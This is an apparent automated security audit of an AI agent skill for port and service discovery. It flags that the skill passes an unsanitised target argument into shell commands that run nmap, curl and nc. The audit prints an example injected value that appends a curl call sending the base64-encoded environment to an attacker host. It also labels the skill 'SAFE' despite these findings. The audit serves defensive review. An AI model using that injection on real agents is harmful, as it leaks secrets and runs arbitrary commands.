port-service-discovery

Pass

Audited by Gen Agent Trust Hub on Nov 10, 2026

Risk Level: SAFEINDIRECT_PROMPT_INJECTIONCOMMAND_EXECUTION
Full Analysis
  • [INDIRECT_PROMPT_INJECTION]: The skill ingests a target address from an external source (the user or another agent process) and interpolates it directly into shell commands, creating a vulnerability surface for indirect instructions or command injection.
  • Ingestion points: The $TARGET variable, sourced from the first argument ($1) in the SKILL.md bash blocks.
  • Boundary markers: Absent. There are no delimiters or instructions provided to the agent to prevent the interpretation of command metacharacters within the target string.
  • Capability inventory: The skill utilizes shell execution for nmap, curl, nc (netcat), and various text processing utilities (grep, awk, tr, sed).
  • Sanitization: Absent. The variable is used without any validation, filtering, or escaping of shell-sensitive characters (e.g., ;, &, |, `, $()).
  • [COMMAND_EXECUTION]: The skill's core functionality relies on executing system binaries like nmap and curl via shell scripts. The lack of sanitization on the user-provided target parameter means that a payload like example.com; curl http://attacker.com/$(env | base64) could lead to arbitrary command execution and potential data exfiltration from the agent's environment.
Audit Metadata
Risk Level
SAFE
Analyzed
Nov 10, 2026, 02:59 PM